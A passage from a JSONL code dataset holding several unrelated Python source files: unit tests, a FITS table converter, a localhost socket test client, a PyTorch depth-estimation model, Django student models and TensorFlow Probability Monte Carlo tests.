self.assertEqual(len(worker.assignedTasks), 2)\n\n def test_canAssignTasks(self):\n worker = Worker(workerID=\"W1\", begin=tHour(0, 00), end=tHour(23, 59), multitask=2)\n self.assertFalse(worker.hasReachedTaskLimit())\n worker.assignTask(self.task1)\n self.assertFalse(worker.hasReachedTaskLimit())\n worker.assignTask(self.task2)\n self.assertTrue(worker.hasReachedTaskLimit())\n\n def test_unnasignTask(self):\n worker = Worker(workerID=\"W1\", begin=tHour(0, 00), end=tHour(23, 59), multitask=2)\n worker.assignTask(self.task1)\n worker.unassignTask(self.task1.taskID)\n self.assertEqual(len(worker.assignedTasks), 0)\n\n def test_availableInPeriod(self):\n worker = Worker(workerID=\"W1\", begin=tHour(0, 00), end=tHour(23, 59), multitask=2)\n available = worker.availableInPeriod(begin=tHour(12, 00), end=tHour(13, 00))\n self.assertTrue(available)\n","sub_path":"QuickProactive/tests/test_worker.py","file_name":"test_worker.py","file_ext":"py","file_size_in_byte":2097,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"177449309","text":"\"\"\"\nPython script to read fits table created by dmstack.\n\n@author: Bhishan Poudel\n\n@date: May 21, 2019\n\nCommand: python read_fits_table.py -f FITS_TABLE_NAME\n\nNOTE: To see the parameters of fits table we can use FV app, not ds9.\n\"\"\"\n# Imports\nimport os,sys,argparse\nimport time\nimport glob\nimport shutil\nimport numpy as np\nimport pyfits\nimport astropy.table as table\nfrom astropy.io import fits\n\n\ndef src_fits_table(jedi_file,src_csv):\n #src_folder = jedi_file.split('.')[0]\n #src_fits = 'output/src/{}/src.fits'.format(src_folder)\n\n src_fits = jedi_file\n \n # Read table and its fields\n data_table, header_table = fits.getdata(src_fits, 1, header=True) # read extension 1\n \n # first column of src.fits is flags, in fitsfile header: these are TFLAGS1 to TFLAGS90\n # there are 90 flags and 77 columns, if we exclude first column 'flags' there are 76 cols.\n # in total there are 90 + 76 = 166 columns.\n tflags = [ header_table[hdr] for hdr in header_table if hdr.startswith('TFLAG')]\n data_flags = [ data_table[i][0] for i in range(len(data_table))]\n data_flags = np.array(data_flags).astype(int)\n \n # there are 177 columns, first column is flags, we exclude it from data_columns\n ttypes = [header_table[hdr] for hdr in header_table if hdr.startswith('TTYPE') ]\n ttypes = ttypes[1:] # exclude flags column\n \n data_columns = [ data_table[i][1:] for i in range(len(data_table))] # exclude first column 'flags'\n data_columns = np.array(data_columns) # make numpy from list\n \n data_all = np.c_[data_flags, data_columns]\n header_all = ','.join(tflags+ttypes)\n\n print('Creating: {}'.format(src_csv))\n np.savetxt(src_csv,data_all,fmt='%8.4f',header=header_all,delimiter=',')\n \n\nif __name__ == \"__main__\":\n import time, os\n import argparse\n\n parser = argparse.ArgumentParser()\n parser.add_argument(\"-m\", \"--manual\", help='python read_fits_table.py -f FILENAME',required=False,type=str)\n parser.add_argument(\"-f\", \"--fname\", help='name of fits table',required=True,type=str)\n args = parser.parse_args()\n fname = args.fname\n\n # Beginning time\n program_begin_time = time.time()\n begin_ctime = time.ctime()\n\n # Run the main program\n src_fits = fname\n src_csv = src_fits.replace('.fits','.csv')\n src_fits_table(fname,src_csv)\n\n # Print the time taken\n program_end_time = time.time()\n end_ctime = time.ctime()\n seconds = program_end_time - program_begin_time\n m, s = divmod(seconds, 60)\n h, m = divmod(m, 60)\n d, h = divmod(h, 24)\n print(\"\\n\\nBegin time: \", begin_ctime)\n print(\"End time: \", end_ctime, \"\\n\")\n print(\"Time taken: {0: .0f} days, {1: .0f} hours, \\\n {2: .0f} minutes, {3: f} seconds.\".format(d, h, m, s))\n print(\"End of Program: {}\".format(os.path.basename(__file__)))\n print(\"\\n\")","sub_path":"read_fits_table.py","file_name":"read_fits_table.py","file_ext":"py","file_size_in_byte":3011,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"286340193","text":"import os\nimport sys\nimport time\nimport random\nrandom.seed(0) # For reproducible test cases\n\nsys.path.append(os.path.abspath(os.path.join(__file__ ,\"../../../\")))\nfrom test_utils import pass_msg, err_msg\n\nfrom inversions import inversions \nfrom inversions_naive import inversions_naive\n\n\ndef manual_test(to_test):\n test_type = 1\n \n test_cases = [\n {'in': [], 'out': (0, [])},\n {'in': [1], 'out': (0, [1])},\n {'in': [2, 3], 'out': (0, [2, 3])},\n {'in': [3, 2], 'out': (1, [2, 3])},\n {'in': [3, 3], 'out': (0, [3, 3])},\n {'in': [3, 6, 1, 0], 'out': (5, [0, 1, 3, 6])}, # 2+2+1\n {'in': [6, 7, 8, 9, 10], 'out': (0, [6, 7, 8, 9, 10])}, # sorted\n {'in': [5, 4, 3, 2, 1], 'out': (10, [1, 2, 3, 4, 5])}, # 4+3+2+1 = (5-1)*(5)/2 = 10\n {'in': [3, 4, 10, 12, 12], 'out': (0, [3, 4, 10, 12, 12])}, # 0+0+0+0\n {'in': [10, 9, 1, 12, 10], 'out': (4, [1, 9, 10, 10, 12])}, # 2+1+0+1\n {'in': [-12, -12, -12, -12, -12], 'out': (0, [-12, -12, -12, -12, -12])},\n {'in': [-12, -2, 12, 1, -100], 'out': (5, [-100, -12, -2, 1, 12])}, # 1+1+2+1\n ]\n\n for case in test_cases:\n input_arg = case['in']\n output = to_test(input_arg)\n expected_output = case['out']\n if output != expected_output:\n msg = err_msg(\n test_type, to_test.__name__, input_arg, output, expected_output\n )\n raise NameError(msg)\n\n return pass_msg(test_type, to_test.__name__)\n\n\ndef stress_test(to_test, test_against):\n test_type = 2\n\n total_tests = 1000\n min_len, max_len = 0, 1000\n min_num, max_num = -10000, 10000\n \n test_type = 2\n for _ in range(total_tests):\n arr_len = random.randint(min_len, max_len)\n arr = [random.randint(min_num, max_num) for i in range(arr_len)] \n output = to_test(arr)\n expected_output = test_against(arr)\n\n if output != expected_output:\n msg = err_msg(\n test_type, to_test.__name__, arr, output, expected_output\n )\n raise NameError(msg) \n \n return pass_msg(test_type, to_test.__name__)\n\n\ndef test_inversions():\n func_arr = [inversions]\n for func in func_arr:\n print('-----Testing: {}-----'.format(func.__name__))\n start_time = time.time()\n\n to_test = func\n test_against = inversions_naive\n print(manual_test(to_test))\n print(stress_test(to_test, test_against))\n\n print(\"--- %s seconds for testing ---\" % (time.time() - start_time))\n print()\n\n\nif __name__ == \"__main__\":\n test_inversions()\n","sub_path":"chapter3/inversions/test_inversions.py","file_name":"test_inversions.py","file_ext":"py","file_size_in_byte":2632,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"247363929","text":"import math \ndef is_prime(n): \n if n <= 1: \n return False\n max_div = math.floor(math.sqrt(n)) \n for i in range(2, 1 + max_div): \n if n % i == 0: \n return False\n return True\nk = int(input(\"Enter a number:\"))\nprint(\"Prime numbers are:\")\nfor n in range(1,k): \n x = is_prime(n) \n print(x,end = '')\n","sub_path":"Prime Factors/primefactorization.py","file_name":"primefactorization.py","file_ext":"py","file_size_in_byte":337,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"62769635","text":"from stores import stores\nimport pprint\n\n# You must build the following response, as a Python dictionary\npp = pprint.PrettyPrinter(indent=2)\n\nm_categories = set(\n map(lambda x: (('category_id', x['category_id']), ('category_verbose', x['category_verbose'])), stores)\n)\nresponse = {\n \"category_list\": list(map(lambda x: dict(x), m_categories)),\n \"stores\": stores\n}\n\nresponse_example = {\n 'category_list': [\n {\n '': 1,\n 'category_verbose': 'Conveniência',\n },\n {\n 'category_id': 1,\n 'category_verbose': 'Conveniência',\n },\n ],\n 'stores': stores\n}\n\n# store_stype is a list of all the unique store types that exist in stores\n\n# You task is to implement the function build_response(stores) and return a\n# python dictionary like the response_example defined above. The stores object\n# CAN be mutated.\n\npp.pprint(response)\n","sub_path":"livecoding.py","file_name":"livecoding.py","file_ext":"py","file_size_in_byte":908,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"505697123","text":"import socket\r\nimport json_handler\r\nimport json\r\n\r\n# used to test the sending and receiving of JSON files\r\n\r\n# creates a new socket\r\nsocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\r\n\r\n# sets the address and port nr of the server\r\nSERVER = 'localhost'\r\nPORT = 5555\r\n\r\nwhile 1:\r\n try:\r\n # attempts to connect to the given address and port\r\n socket.connect((SERVER, PORT))\r\n # print(socket.recv(4096).decode())\r\n while 1:\r\n # sets a predetermined example JSON object\r\n json_obj = json_handler.json_client_example()\r\n j = input('$- Press enter to send data >> ')\r\n # socket.send(j.encode())\r\n print(\"Sending : \")\r\n print(\"==================================\")\r\n # sends the example JSON object\r\n socket.send(json.dumps(json_obj).encode())\r\n # displays the object that was sent\r\n json_handler.pretty_print(json_obj)\r\n print(\"==================================\")\r\n # receive and display the JSON object form the server\r\n reply = socket.recv(4096).decode()\r\n json_handler.pretty_print(json.loads(reply))\r\n if j == 'quit':\r\n break\r\n # closes the socket\r\n socket.close()\r\n except Exception as e:\r\n print(str(e))\r\n break\r\n finally:\r\n socket.close()","sub_path":"pretoria/Rover_Software/client_test.py","file_name":"client_test.py","file_ext":"py","file_size_in_byte":1400,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"632392755","text":"import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport torchvision.models\nimport collections\nimport math\n\ndef weights_init(m):\n # Initialize filters with Gaussian random weights\n if isinstance(m, nn.Conv2d):\n n = m.kernel_size[0] * m.kernel_size[1] * m.out_channels\n m.weight.data.normal_(0, math.sqrt(2. / n))\n if m.bias is not None:\n m.bias.data.zero_()\n elif isinstance(m, nn.ConvTranspose2d):\n n = m.kernel_size[0] * m.kernel_size[1] * m.in_channels\n m.weight.data.normal_(0, math.sqrt(2. / n))\n if m.bias is not None:\n m.bias.data.zero_()\n elif isinstance(m, nn.BatchNorm2d):\n m.weight.data.fill_(1)\n m.bias.data.zero_()\n\nclass Decoder(nn.Module):\n # Decoder is the base class for all decoders\n\n names = ['deconv2', 'deconv3']\n\n def __init__(self):\n super(Decoder, self).__init__()\n\n self.layer1 = None\n self.layer2 = None\n self.layer3 = None\n self.layer4 = None\n\n def forward(self, x):\n x = self.layer1(x)\n x = self.layer2(x)\n x = self.layer3(x)\n x = self.layer4(x)\n return x\n\nclass DeConv(Decoder):\n def __init__(self, in_channels, kernel_size):\n assert kernel_size>=2, \"kernel_size out of range: {}\".format(kernel_size)\n super(DeConv, self).__init__()\n\n def convt(in_channels):\n stride = 2\n padding = (kernel_size - 1) // 2\n output_padding = kernel_size % 2\n assert -2 - 2*padding + kernel_size + output_padding == 0, \"deconv parameters incorrect\"\n\n module_name = \"deconv{}\".format(kernel_size)\n return nn.Sequential(collections.OrderedDict([\n (module_name, nn.ConvTranspose2d(in_channels,in_channels//2,kernel_size,\n stride,padding,output_padding,bias=False)),\n ('batchnorm', nn.BatchNorm2d(in_channels//2)),\n ('relu', nn.ReLU(inplace=True)),\n ]))\n\n self.layer1 = convt(in_channels)\n self.layer2 = convt(in_channels // 2)\n self.layer3 = convt(in_channels // (2 ** 2))\n self.layer4 = convt(in_channels // (2 ** 3))\n\ndef choose_decoder(decoder, in_channels):\n # iheight, iwidth = 10, 8\n if decoder[:6] == 'deconv':\n assert len(decoder)==7\n kernel_size = int(decoder[6])\n return DeConv(in_channels, kernel_size)\n else:\n assert False, \"invalid option for decoder: {}\".format(decoder)\n\n\nclass ResNet(nn.Module):\n def __init__(self, layers, decoder, output_size, in_channels=3, pretrained=True):\n\n if layers not in [18, 34, 50, 101, 152]:\n raise RuntimeError('Only 18, 34, 50, 101, and 152 layer model are defined for ResNet. Got {}'.format(layers))\n\n super(ResNet, self).__init__()\n pretrained_model = torchvision.models.__dict__['resnet{}'.format(layers)](pretrained=pretrained)\n\n\n self.conv1 = pretrained_model._modules['conv1']\n self.bn1 = pretrained_model._modules['bn1']\n\n self.output_size = output_size\n\n self.relu = pretrained_model._modules['relu']\n self.maxpool = pretrained_model._modules['maxpool']\n self.layer1 = pretrained_model._modules['layer1']\n self.layer2 = pretrained_model._modules['layer2']\n self.layer3 = pretrained_model._modules['layer3']\n self.layer4 = pretrained_model._modules['layer4']\n\n # clear memory\n del pretrained_model\n\n # define number of intermediate channels\n if layers <= 34:\n num_channels = 512\n elif layers >= 50:\n num_channels = 2048\n\n self.conv2 = nn.Conv2d(num_channels,num_channels//2,kernel_size=1,bias=False)\n self.bn2 = nn.BatchNorm2d(num_channels//2)\n self.decoder = choose_decoder(decoder, num_channels//2)\n\n # setting bias=true doesn't improve accuracy\n self.conv3 = nn.Conv2d(num_channels//32,1,kernel_size=3,stride=1,padding=1,bias=False)\n self.bilinear = nn.Upsample(size=self.output_size, mode='bilinear', align_corners=True)\n\n # weight init\n self.conv2.apply(weights_init)\n self.bn2.apply(weights_init)\n self.decoder.apply(weights_init)\n self.conv3.apply(weights_init)\n\n def forward(self, x):\n # resnet encoder\n x = self.conv1(x)\n x = self.bn1(x)\n x = self.relu(x)\n x = self.maxpool(x)\n x = self.layer1(x)\n x = self.layer2(x)\n x = self.layer3(x)\n x = self.layer4(x)\n # still encoder, but not pretrained\n x = self.conv2(x)\n x = self.bn2(x)\n \n # decoder\n x = self.decoder(x)\n x = self.conv3(x)\n x = self.bilinear(x)\n\n return x\n","sub_path":"models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":4785,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"17255008","text":"import numpy as np\nimport matplotlib\nimport matplotlib.gridspec as gridspec\nfrom matplotlib import cm\nfrom matplotlib.colors import Normalize\nimport matplotlib.pyplot as plt\n\ndef spaced_detector(arr, pixelspacing, pixelsize, cmap='viridis'):\n dims = arr.shape[::-1]\n size = (np.array(dims)-1)*pixelspacing\n norm = Normalize(vmax=np.amax(arr), vmin=np.amin(arr))\n cmap = plt.get_cmap(cmap)\n\n def draw_rectangle(ax, ix, iy, val):\n x = ix*pixelspacing[0]\n y = iy*pixelspacing[1]\n ax.add_patch(\n plt.Rectangle(\n xy=(x-0.5*pixelsize[0],\n y-0.5*pixelsize[1]),\n width=pixelsize[0], height=pixelsize[1],\n facecolor=cmap(norm(val)),\n edgecolor='black',\n )\n )\n ax.text(\n x, y, '{:0.1f}'.format(val),\n horizontalalignment='center',\n verticalalignment='center',\n fontsize=8,\n )\n\n fig = plt.figure()\n gs = gridspec.GridSpec(1, 2, width_ratios=(1,0.05),\n left=0.05, bottom=0.05, top=0.95, right=0.95,\n wspace=0)\n ax = fig.add_subplot(gs[0,0])\n ax_cbar = fig.add_subplot(gs[0,1])\n ax.set_aspect('equal')\n ax.set_facecolor('white')\n #ax.set_xticks([])\n #ax.set_yticks([])\n ax.set_xlim((-pixelsize[0]*0.5, size[0]+pixelsize[0]*0.5))\n ax.set_ylim((-pixelsize[1]*0.5, size[1]+pixelsize[1]*0.5))\n for yy in range(dims[1]):\n for xx in range(dims[0]):\n draw_rectangle(ax, xx, yy, arr[yy, xx])\n fig.colorbar(\n cm.ScalarMappable(norm=norm, cmap=cmap),\n cax=ax_cbar,\n )\n return fig\n","sub_path":"test/visualize.py","file_name":"visualize.py","file_ext":"py","file_size_in_byte":1685,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"326303447","text":"from django.db import models\nfrom django.utils import translation\nfrom django.core.validators import MinValueValidator, MaxValueValidator\nfrom polymorphic.models import PolymorphicModel, PolymorphicManager\n\nfrom wagtailkit.numerators.models import NumeratorMixin, Numerator\nfrom wagtailkit.core.models import KitBaseModel, MAX_LEN_SHORT, MAX_LEN_MEDIUM\nfrom wagtailkit.persons.models import Person, PersonManager\nfrom wagtailkit.teachers.models import Teacher\nfrom wagtailkit.academic.models import ProgramStudy, SchoolYear, CurriculumCourse\n\n\n_ = translation.gettext_lazy\n\n\nclass StudentPersonalManager(PersonManager):\n def get_queryset(self):\n return super().get_queryset().filter(\n models.Q(student__isnull=False) | models.Q(is_matriculant=True)\n ).prefetch_related('student')\n\n\nclass StudentPersonal(Person):\n class Meta:\n verbose_name = _('Student Personal')\n verbose_name_plural = _('Student Personals')\n proxy = True\n\n objects = StudentPersonalManager()\n\n @property\n def is_student(self):\n return bool(getattr(self, 'student', False))\n\n def save(self, *args, **kwargs):\n self.is_matriculant = True\n super().save(*args, **kwargs)\n\n\nclass StudentManager(models.Manager):\n def get_by_natural_key(self, sid):\n return self.get(sid=sid)\n\n\nclass Student(NumeratorMixin, KitBaseModel):\n class Meta:\n verbose_name = _('Student')\n verbose_name_plural = _('Students')\n permissions = (\n ('register_student', _('Can Register New Student')),\n )\n\n ACTIVE = 'ACT'\n ALUMNI = 'ALM'\n DROP_OUT = 'DRO'\n MOVED = 'MVD'\n MISC = 'MSC'\n STATUS = (\n (ACTIVE, _('Active')),\n (ALUMNI, _('Alumni')),\n (DROP_OUT, _('Drop out')),\n (MOVED, _('Moved')),\n (MISC, _('Misc')),\n )\n\n objects = StudentManager()\n\n inner_id = None\n numbering = Numerator.FIXED\n\n sid = models.CharField(\n editable=False, unique=True,\n max_length=MAX_LEN_SHORT,\n verbose_name=_('Student ID'))\n person = models.OneToOneField(\n Person, on_delete=models.CASCADE,\n verbose_name=_(\"Person\"))\n year_of_force = models.ForeignKey(\n SchoolYear, on_delete=models.PROTECT,\n verbose_name=_(\"Year of force\"))\n coach = models.ForeignKey(\n Teacher, null=True, blank=True,\n on_delete=models.SET_NULL,\n related_name='students',\n verbose_name=_('Coach'))\n rmu = models.ForeignKey(\n ProgramStudy, on_delete=models.PROTECT,\n verbose_name=_('Program Study'))\n registration_id = models.CharField(\n max_length=MAX_LEN_SHORT,\n verbose_name=_(\"Registration ID\"))\n registration = models.CharField(\n max_length=2, default='1',\n choices=(('1', 'Reguler'), ('P', 'Transfer')),\n verbose_name=_(\"Registration\"))\n status = models.CharField(\n choices=STATUS, default=ACTIVE,\n max_length=MAX_LEN_SHORT,\n verbose_name=_('Status'))\n status_note = models.CharField(\n null=True, blank=True,\n max_length=MAX_LEN_MEDIUM,\n verbose_name=_('Status note'))\n\n # wagtail autocomplete\n autocomplete_search_field = 'person__fullname'\n\n def autocomplete_label(self):\n return \"{} | {}\".format(self.sid, self.name())\n\n def generate_inner_id(self):\n \"\"\" Generate human friendly Student Number,\n override this method to customize inner_id format\n \"\"\"\n form = [\n str(self.year_of_force.year_start)[2:4],\n self.rmu.number,\n self.registration,\n str(self.reg_number).zfill(4)\n ]\n self.sid = ''.join(form)\n return self.sid\n\n def get_counter(self):\n custom_code = self.get_custom_code()\n ct_counter = Numerator.get_instance(self, custom_code=custom_code)\n return ct_counter\n\n def get_custom_code(self):\n form = [\n str(self.year_of_force.year_start)[2:4],\n self.rmu.number,\n self.registration\n ]\n return '{}{}{}'.format(*form)\n\n def __str__(self):\n return self.person.fullname\n\n def name(self):\n return self.person.fullname\n\n def natural_key(self):\n natural_key = (self.sid,)\n return natural_key\n\n\nclass StudentScoreManager(PolymorphicManager):\n\n def get_queryset(self):\n return super().get_queryset().select_related(\n 'student', 'course'\n ).annotate(\n sid = models.F('student__sid'),\n cid = models.F('course__course__inner_id'),\n curriculum = models.F('course__curriculum__code')\n )\n\nclass StudentScore(PolymorphicModel, KitBaseModel):\n class Meta:\n verbose_name = _(\"Student Score\")\n verbose_name_plural = _(\"Student Scores\")\n\n objects = StudentScoreManager()\n\n course = models.ForeignKey(\n CurriculumCourse,\n on_delete=models.PROTECT,\n related_name='student_scores',\n verbose_name=_('Course'))\n student = models.ForeignKey(\n Student, on_delete=models.CASCADE,\n related_name='scores',\n verbose_name=_(\"Student\"))\n numeric = models.PositiveIntegerField(\n default=0,\n validators=[\n MinValueValidator(0),\n MaxValueValidator(100),\n ],\n verbose_name=_(\"Numeric Score\"))\n alphabetic = models.CharField(\n max_length=1,\n verbose_name=_(\"Alphabetic Score\"))\n\n def __str__(self):\n return \"{} | {}\".format(self.student, self.course)\n\n\nclass ConversionScore(StudentScore):\n class Meta:\n verbose_name = _(\"Conversion Score\")\n verbose_name_plural = _(\"Conversion Scores\")\n\n ori_code = models.CharField(\n max_length=MAX_LEN_SHORT,\n verbose_name=_('Origin Code'))\n ori_name = models.CharField(\n max_length=MAX_LEN_SHORT,\n verbose_name=_('Origin Name'))\n ori_numeric_score = models.DecimalField(\n default=1,\n max_digits=3,\n decimal_places=2,\n validators=[\n MinValueValidator(1),\n MaxValueValidator(4),\n ],\n verbose_name=_('Origin Numeric'))\n ori_alphabetic_score = models.CharField(\n max_length=MAX_LEN_SHORT,\n verbose_name=_('Origin Alphabetic'))\n","sub_path":"wagtailkit/students/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":6314,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"548444137","text":"#!/usr/bin/env python\nimport webapp2\n\nimport tba_config\n\nfrom controllers.admin.admin_cron_controller import AdminPostEventTasksDo, AdminCreateDistrictTeamsEnqueue, AdminCreateDistrictTeamsDo\nfrom controllers.cron_controller import YearInsightsEnqueue, YearInsightsDo, OverallInsightsEnqueue, OverallInsightsDo, TypeaheadCalcEnqueue, TypeaheadCalcDo\nfrom controllers.datafeed_controller import EventListEnqueue, EventDetailsEnqueue\nfrom controllers.datafeed_controller import EventListGet, EventDetailsGet, TeamDetailsGet\n\n\napp = webapp2.WSGIApplication([('/backend-tasks/enqueue/event_list/([0-9]*)', EventListEnqueue),\n ('/backend-tasks/enqueue/event_details/(.*)', EventDetailsEnqueue),\n ('/backend-tasks/get/event_list/([0-9]*)', EventListGet),\n ('/backend-tasks/get/event_details/(.*)', EventDetailsGet),\n ('/backend-tasks/get/team_details/(.*)', TeamDetailsGet),\n ('/backend-tasks/do/post_event_tasks/(.*)', AdminPostEventTasksDo),\n ('/backend-tasks/enqueue/rebuild_district_teams/([0-9]+)', AdminCreateDistrictTeamsEnqueue),\n ('/backend-tasks/do/rebuild_district_teams/([0-9]+)', AdminCreateDistrictTeamsDo),\n ('/backend-tasks/math/enqueue/overallinsights/(.*)', OverallInsightsEnqueue),\n ('/backend-tasks/math/do/overallinsights/(.*)', OverallInsightsDo),\n ('/backend-tasks/math/enqueue/insights/(.*)/([0-9]*)', YearInsightsEnqueue),\n ('/backend-tasks/math/do/insights/(.*)/([0-9]*)', YearInsightsDo),\n ('/backend-tasks/math/enqueue/typeaheadcalc', TypeaheadCalcEnqueue),\n ('/backend-tasks/math/do/typeaheadcalc', TypeaheadCalcDo),\n ],\n debug=tba_config.DEBUG)\n","sub_path":"backend_main.py","file_name":"backend_main.py","file_ext":"py","file_size_in_byte":2018,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"583619658","text":"# Copyright 2018 The TensorFlow Probability Authors.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n# ============================================================================\n# Copyright 2016 The TensorFlow Authors. All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n# ==============================================================================\n\"\"\"Tests for Monte Carlo Ops.\"\"\"\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\n# Dependency imports\nimport numpy as np\n\nfrom tensorflow.contrib import layers as layers_lib\nfrom tensorflow.python.framework import constant_op\nfrom tensorflow.python.ops import gradients_impl\nfrom tensorflow.python.ops.distributions import distribution as distribution_lib\nfrom tensorflow.python.ops.distributions import gamma as gamma_lib\nfrom tensorflow.python.ops.distributions import kullback_leibler\nfrom tensorflow.python.ops.distributions import normal as normal_lib\nfrom tensorflow.python.platform import test\nfrom tensorflow_probability.python import monte_carlo as monte_carlo_lib\nfrom tensorflow_probability.python.monte_carlo import _get_samples\n\nlayers = layers_lib\nmc = monte_carlo_lib\n\n\nclass GetSamplesTest(test.TestCase):\n \"\"\"Test the private method 'get_samples'.\"\"\"\n\n def test_raises_if_both_z_and_n_are_none(self):\n with self.test_session():\n dist = normal_lib.Normal(loc=0., scale=1.)\n z = None\n n = None\n seed = None\n with self.assertRaisesRegexp(ValueError, 'exactly one'):\n _get_samples(dist, z, n, seed)\n\n def test_raises_if_both_z_and_n_are_not_none(self):\n with self.test_session():\n dist = normal_lib.Normal(loc=0., scale=1.)\n z = dist.sample(seed=42)\n n = 1\n seed = None\n with self.assertRaisesRegexp(ValueError, 'exactly one'):\n _get_samples(dist, z, n, seed)\n\n def test_returns_n_samples_if_n_provided(self):\n with self.test_session():\n dist = normal_lib.Normal(loc=0., scale=1.)\n z = None\n n = 10\n seed = None\n z = _get_samples(dist, z, n, seed)\n self.assertEqual((10,), z.get_shape())\n\n def test_returns_z_if_z_provided(self):\n with self.test_session():\n dist = normal_lib.Normal(loc=0., scale=1.)\n z = dist.sample(10, seed=42)\n n = None\n seed = None\n z = _get_samples(dist, z, n, seed)\n self.assertEqual((10,), z.get_shape())\n\n\nclass ExpectationTest(test.TestCase):\n\n def test_works_correctly(self):\n with self.test_session() as sess:\n x = constant_op.constant([-1e6, -100, -10, -1, 1, 10, 100, 1e6])\n p = normal_lib.Normal(loc=x, scale=1.)\n\n # We use the prefex \"efx\" to mean \"E_p[f(X)]\".\n f = lambda u: u\n efx_true = x\n samples = p.sample(int(1e5), seed=1)\n efx_reparam = mc.expectation(f, samples, p.log_prob)\n efx_score = mc.expectation(f, samples, p.log_prob,\n use_reparametrization=False)\n\n [\n efx_true_,\n efx_reparam_,\n efx_score_,\n efx_true_grad_,\n efx_reparam_grad_,\n efx_score_grad_,\n ] = sess.run([\n efx_true,\n efx_reparam,\n efx_score,\n gradients_impl.gradients(efx_true, x)[0],\n gradients_impl.gradients(efx_reparam, x)[0],\n gradients_impl.gradients(efx_score, x)[0],\n ])\n\n self.assertAllEqual(np.ones_like(efx_true_grad_), efx_true_grad_)\n\n self.assertAllClose(efx_true_, efx_reparam_, rtol=0.005, atol=0.)\n self.assertAllClose(efx_true_, efx_score_, rtol=0.005, atol=0.)\n\n self.assertAllEqual(np.ones_like(efx_true_grad_, dtype=np.bool),\n np.isfinite(efx_reparam_grad_))\n self.assertAllEqual(np.ones_like(efx_true_grad_, dtype=np.bool),\n np.isfinite(efx_score_grad_))\n\n self.assertAllClose(efx_true_grad_, efx_reparam_grad_,\n rtol=0.03, atol=0.)\n # Variance is too high to be meaningful, so we'll only check those which\n # converge.\n self.assertAllClose(efx_true_grad_[2:-2],\n efx_score_grad_[2:-2],\n rtol=0.05, atol=0.)\n\n def test_docstring_example_normal(self):\n with self.test_session() as sess:\n num_draws = int(1e5)\n mu_p = constant_op.constant(0.)\n mu_q = constant_op.constant(1.)\n p = normal_lib.Normal(loc=mu_p, scale=1.)\n q = normal_lib.Normal(loc=mu_q, scale=2.)\n exact_kl_normal_normal = kullback_leibler.kl_divergence(p, q)\n approx_kl_normal_normal = monte_carlo_lib.expectation(\n f=lambda x: p.log_prob(x) - q.log_prob(x),\n samples=p.sample(num_draws, seed=42),\n log_prob=p.log_prob,\n use_reparametrization=(p.reparameterization_type\n == distribution_lib.FULLY_REPARAMETERIZED))\n [exact_kl_normal_normal_, approx_kl_normal_normal_] = sess.run([\n exact_kl_normal_normal, approx_kl_normal_normal])\n self.assertEqual(\n True,\n p.reparameterization_type == distribution_lib.FULLY_REPARAMETERIZED)\n self.assertAllClose(exact_kl_normal_normal_, approx_kl_normal_normal_,\n rtol=0.01, atol=0.)\n\n # Compare gradients. (Not present in `docstring`.)\n gradp = lambda fp: gradients_impl.gradients(fp, mu_p)[0]\n gradq = lambda fq: gradients_impl.gradients(fq, mu_q)[0]\n [\n gradp_exact_kl_normal_normal_,\n gradq_exact_kl_normal_normal_,\n gradp_approx_kl_normal_normal_,\n gradq_approx_kl_normal_normal_,\n ] = sess.run([\n gradp(exact_kl_normal_normal),\n gradq(exact_kl_normal_normal),\n gradp(approx_kl_normal_normal),\n gradq(approx_kl_normal_normal),\n ])\n self.assertAllClose(gradp_exact_kl_normal_normal_,\n gradp_approx_kl_normal_normal_,\n rtol=0.01, atol=0.)\n self.assertAllClose(gradq_exact_kl_normal_normal_,\n gradq_approx_kl_normal_normal_,\n rtol=0.01, atol=0.)\n\n def test_docstring_example_gamma(self):\n with self.test_session() as sess:\n num_draws = int(1e5)\n concentration_p = constant_op.constant(1.)\n concentration_q = constant_op.constant(2.)\n p = gamma_lib.Gamma(concentration=concentration_p, rate=1.)\n q = gamma_lib.Gamma(concentration=concentration_q, rate=3.)\n approx_kl_gamma_gamma = monte_carlo_lib.expectation(\n f=lambda x: p.log_prob(x) - q.log_prob(x),\n samples=p.sample(num_draws, seed=42),\n log_prob=p.log_prob,\n use_reparametrization=(p.reparameterization_type\n == distribution_lib.FULLY_REPARAMETERIZED))\n exact_kl_gamma_gamma = kullback_leibler.kl_divergence(p, q)\n [exact_kl_gamma_gamma_, approx_kl_gamma_gamma_] = sess.run([\n exact_kl_gamma_gamma, approx_kl_gamma_gamma])\n self.assertEqual(\n False,\n p.reparameterization_type == 